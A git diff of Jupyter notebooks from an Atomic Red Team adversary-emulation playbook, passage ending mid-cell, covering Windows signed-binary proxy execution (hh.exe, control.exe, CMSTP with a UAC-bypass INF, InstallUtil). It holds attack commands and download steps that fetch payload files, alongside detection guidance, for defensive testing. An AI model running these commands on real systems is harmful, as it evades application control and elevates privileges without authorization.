PathToAtomicsFolder\\T1218.001\\src\\T1218.001.chm) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.001/src/T1218.001.chm\" -OutFile \"PathToAtomicsFolder\\T1218.001\\src\\T1218.001.chm\"\n\n```" + "source": "### Atomic Test #1 - Compiled HTML Help Local Payload\nUses hh.exe to execute a local compiled HTML Help payload.\nUpon execution calc.exe will open\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The payload must exist on disk at specified location (#{local_chm_file})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1218.001\\src\\T1218.001.chm\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.001\\src\\T1218.001.chm\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.001/src/T1218.001.chm\" -OutFile \"PathToAtomicsFolder\\T1218.001\\src\\T1218.001.chm\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3c07fe35", + "id": "5a66004d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.001 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "d3e07c60", + "id": "8381bd4d", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nhh.exe PathToAtomicsFolder\\T1218.001\\src\\T1218.001.chm\n```" + "```command_prompt\nhh.exe \"PathToAtomicsFolder\\T1218.001\\src\\T1218.001.chm\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "cc6cff4b", + "id": "c0de08e6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "f02761a4", + "id": "c5397d5d", "metadata": {}, "source": [ "### Atomic Test #2 - Compiled HTML Help Remote Payload", @@ -58,28 +58,28 @@ { "cell_type": "code", "execution_count": null, - "id": "dd8d6d6d", + "id": "b63ee25d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "cd752e8a", + "id": "0c7180d3", "metadata": {}, "source": "### Atomic Test #3 - Invoke CHM with default Shortcut Command Execution\nExecutes a CHM file with the default Shortcut Command method.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8f0d2947", + "id": "06e6138f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.001 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "f78ee221", + "id": "517b23a1", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -89,28 +89,28 @@ { "cell_type": "code", "execution_count": null, - "id": "0fb6198a", + "id": "72f8aa95", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "64a41eed", + "id": "93a71482", "metadata": {}, "source": "### Atomic Test #4 - Invoke CHM with InfoTech Storage Protocol Handler\nExecutes a CHM file with the ITS protocol handler.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "bd9be610", + "id": "578ef215", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.001 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "78314658", + "id": "4fcc3680", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -120,28 +120,28 @@ { "cell_type": "code", "execution_count": null, - "id": "1918362b", + "id": "79401359", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.001 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "39b3a66c", + "id": "848af64c", "metadata": {}, "source": "### Atomic Test #5 - Invoke CHM Simulate Double click\nExecutes a CHM file simulating a user double click.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "aafe2ea7", + "id": "f13b25b4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.001 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "9789dd50", + "id": "b6ee3003", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -151,28 +151,28 @@ { "cell_type": "code", "execution_count": null, - "id": "12dea88b", + "id": "aab2201d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.001 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "c4f6bbff", + "id": "77156219", "metadata": {}, "source": "### Atomic Test #6 - Invoke CHM with Script Engine and Help Topic\nExecutes a CHM file with a defined script engine, ITS Protocol Handler, and help topic extension.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6b3e8772", + "id": "ecd39012", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.001 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "4e025d31", + "id": "119f62ad", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -182,28 +182,28 @@ { "cell_type": "code", "execution_count": null, - "id": "42fca5a6", + "id": "ecb2223b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.001 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "c6845df0", + "id": "25d439b5", "metadata": {}, "source": "### Atomic Test #7 - Invoke CHM Shortcut Command with ITS and Help Topic\nExecutes a CHM file using the Shortcut Command method with a defined ITS Protocol Handler, and help topic extension.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9953f3a7", + "id": "58f22cbf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.001 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "03dc2840", + "id": "e5e09494", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -213,59 +213,59 @@ { "cell_type": "code", "execution_count": null, - "id": "f37a17cd", + "id": "48223534", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.001 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "d8756a92", + "id": "6a398e21", "metadata": {}, - "source": "### Atomic Test #8 - Decompile Local CHM File\nUses hh.exe to decompile a local compiled HTML Help file.\nUpon successful execution the chm file will decompile to disk.\nReference:https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The payload must exist on disk at specified location (#{local_chm_file})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1218.001\\src\\T1218.001.chm) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.001\\src\\T1218.001.chm) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.001/src/T1218.001.chm\" -OutFile \"PathToAtomicsFolder\\T1218.001\\src\\T1218.001.chm\"\n\n```" + "source": "### Atomic Test #8 - Decompile Local CHM File\nUses hh.exe to decompile a local compiled HTML Help file.\nUpon successful execution the chm file will decompile to disk.\nReference:https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The payload must exist on disk at specified location (#{local_chm_file})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1218.001\\src\\T1218.001.chm\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.001\\src\\T1218.001.chm\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.001/src/T1218.001.chm\" -OutFile \"PathToAtomicsFolder\\T1218.001\\src\\T1218.001.chm\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "18cadef0", + "id": "efed59d9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.001 -TestNumbers 8 -GetPreReqs" }, { "cell_type": "markdown", - "id": "723f2f90", + "id": "86d6d4b9", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nhh.exe -decompile %temp% PathToAtomicsFolder\\T1218.001\\src\\T1218.001.chm\n```" + "```command_prompt\nhh.exe -decompile %temp% \"PathToAtomicsFolder\\T1218.001\\src\\T1218.001.chm\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "497ddade", + "id": "c09a0550", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.001 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "df32efc1", + "id": "1fc140a3", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %temp%\\T1218.001.html >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a6fbbe2a", + "id": "7f2ad8c8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.001 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "bbe2165e", + "id": "24a149f3", "metadata": {}, "source": "## Detection\nMonitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\n\nMonitor presence and use of CHM files, especially if they are not typically used within an environment." } @@ -273,13 +273,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1218.002.ipynb b/playbook/tactics/defense-evasion/T1218.002.ipynb index d99fd044..1caa6342 100644 --- a/playbook/tactics/defense-evasion/T1218.002.ipynb +++ b/playbook/tactics/defense-evasion/T1218.002.ipynb @@ -2,50 +2,50 @@ "cells": [ { "cell_type": "markdown", - "id": "d099c741", + "id": "d6bdf282", "metadata": {}, "source": "# T1218.002 - Control Panel\nAdversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\n\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\n\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020)" }, { "cell_type": "markdown", - "id": "0efa914a", + "id": "9adae556", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "962ec70d", + "id": "d8657c9c", "metadata": {}, - "source": "### Atomic Test #1 - Control Panel Items\nThis test simulates an adversary leveraging control.exe\nUpon execution calc.exe will be launched\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Cpl file must exist on disk at specified location (#{cpl_file_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1218.002\\bin\\calc.cpl) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.002\\bin\\calc.cpl) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.002/bin/calc.cpl\" -OutFile \"PathToAtomicsFolder\\T1218.002\\bin\\calc.cpl\"\n\n```" + "source": "### Atomic Test #1 - Control Panel Items\nThis test simulates an adversary leveraging control.exe\nUpon execution calc.exe will be launched\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Cpl file must exist on disk at specified location (#{cpl_file_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1218.002\\bin\\calc.cpl\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.002\\bin\\calc.cpl\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.002/bin/calc.cpl\" -OutFile \"PathToAtomicsFolder\\T1218.002\\bin\\calc.cpl\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "34801465", + "id": "4bec4b6e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.002 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "989cb8f1", + "id": "d62b86ba", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\ncontrol.exe PathToAtomicsFolder\\T1218.002\\bin\\calc.cpl\n```" + "```command_prompt\ncontrol.exe \"PathToAtomicsFolder\\T1218.002\\bin\\calc.cpl\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "bdb561f3", + "id": "0f0c5985", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "7ef4ca08", + "id": "1749e23b", "metadata": {}, "source": "## Detection\nMonitor and analyze activity related to items associated with CPL files, such as the control.exe and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace and HKEY_CLASSES_ROOT\\CLSID\\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the CPLs and Extended Properties Registry keys of HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}).(Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014)" } @@ -53,13 +53,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1218.003.ipynb b/playbook/tactics/defense-evasion/T1218.003.ipynb index 25bad1f6..99bc2475 100644 --- a/playbook/tactics/defense-evasion/T1218.003.ipynb +++ b/playbook/tactics/defense-evasion/T1218.003.ipynb @@ -2,81 +2,81 @@ "cells": [ { "cell_type": "markdown", - "id": "e11672f2", + "id": "31da817a", "metadata": {}, "source": "# T1218.003 - CMSTP\nAdversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)" }, { "cell_type": "markdown", - "id": "cfa2b957", + "id": "6aa62a84", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "f99a7248", + "id": "e598729b", "metadata": {}, - "source": "### Atomic Test #1 - CMSTP Executing Remote Scriptlet\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: INF file must exist on disk at specified location (#{inf_file_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1218.003\\src\\T1218.003.inf) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.003\\src\\T1218.003.inf) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.003/src/T1218.003.inf\" -OutFile \"PathToAtomicsFolder\\T1218.003\\src\\T1218.003.inf\"\n\n```" + "source": "### Atomic Test #1 - CMSTP Executing Remote Scriptlet\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: INF file must exist on disk at specified location (#{inf_file_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1218.003\\src\\T1218.003.inf\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.003\\src\\T1218.003.inf\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.003/src/T1218.003.inf\" -OutFile \"PathToAtomicsFolder\\T1218.003\\src\\T1218.003.inf\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "dfb99d41", + "id": "39f60063", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.003 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "dd6f1918", + "id": "c24fc1a6", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\ncmstp.exe /s PathToAtomicsFolder\\T1218.003\\src\\T1218.003.inf\n```" + "```command_prompt\ncmstp.exe /s \"PathToAtomicsFolder\\T1218.003\\src\\T1218.003.inf\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "a8d04e8d", + "id": "79e4d1a8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "ad4def73", + "id": "20ac1dda", "metadata": {}, - "source": "### Atomic Test #2 - CMSTP Executing UAC Bypass\nAdversaries may invoke cmd.exe (or other malicious commands) by embedding them in the RunPreSetupCommandsSection of an INF file\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: INF file must exist on disk at specified location (#{inf_file_uac})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1218.003\\src\\T1218.003_uacbypass.inf) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.003\\src\\T1218.003_uacbypass.inf) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.003/src/T1218.003_uacbypass.inf\" -OutFile \"PathToAtomicsFolder\\T1218.003\\src\\T1218.003_uacbypass.inf\"\n\n```" + "source": "### Atomic Test #2 - CMSTP Executing UAC Bypass\nAdversaries may invoke cmd.exe (or other malicious commands) by embedding them in the RunPreSetupCommandsSection of an INF file\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: INF file must exist on disk at specified location (#{inf_file_uac})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1218.003\\src\\T1218.003_uacbypass.inf\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.003\\src\\T1218.003_uacbypass.inf\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.003/src/T1218.003_uacbypass.inf\" -OutFile \"PathToAtomicsFolder\\T1218.003\\src\\T1218.003_uacbypass.inf\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8567d123", + "id": "1f64d339", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.003 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "2b7beb63", + "id": "2e69f163", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\ncmstp.exe /s PathToAtomicsFolder\\T1218.003\\src\\T1218.003_uacbypass.inf /au\n```" + "```command_prompt\ncmstp.exe /s \"PathToAtomicsFolder\\T1218.003\\src\\T1218.003_uacbypass.inf\" /au\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "a0547b09", + "id": "29b05add", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.003 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "ce9be40e", + "id": "dc849d45", "metadata": {}, "source": "## Detection\nUse process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nSysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\n\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\n* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F)." } @@ -84,13 +84,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1218.004.ipynb b/playbook/tactics/defense-evasion/T1218.004.ipynb index d1638abb..dfd9d7b5 100644 --- a/playbook/tactics/defense-evasion/T1218.004.ipynb +++ b/playbook/tactics/defense-evasion/T1218.004.ipynb @@ -2,379 +2,379 @@ "cells": [ { "cell_type": "markdown", - "id": "eccd0636", + "id": "6ae758e0", "metadata": {}, "source": "# T1218.004 - InstallUtil\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe.\n\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)" }, { "cell_type": "markdown", - "id": "c0c2c692", + "id": "2ddaf8fa", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "1e8db94e", + "id": "04161097", "metadata": {}, - "source": "### Atomic Test #1 - CheckIfInstallable method call\nExecutes the CheckIfInstallable class constructor runner instead of executing InstallUtil. Upon execution, the InstallUtil test harness will be executed.\nIf no output is displayed the test executed successfuly.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: InstallUtil test harness script must be installed at specified location (#{test_harness})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1) -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\"\n\n```" + "source": "### Atomic Test #1 - 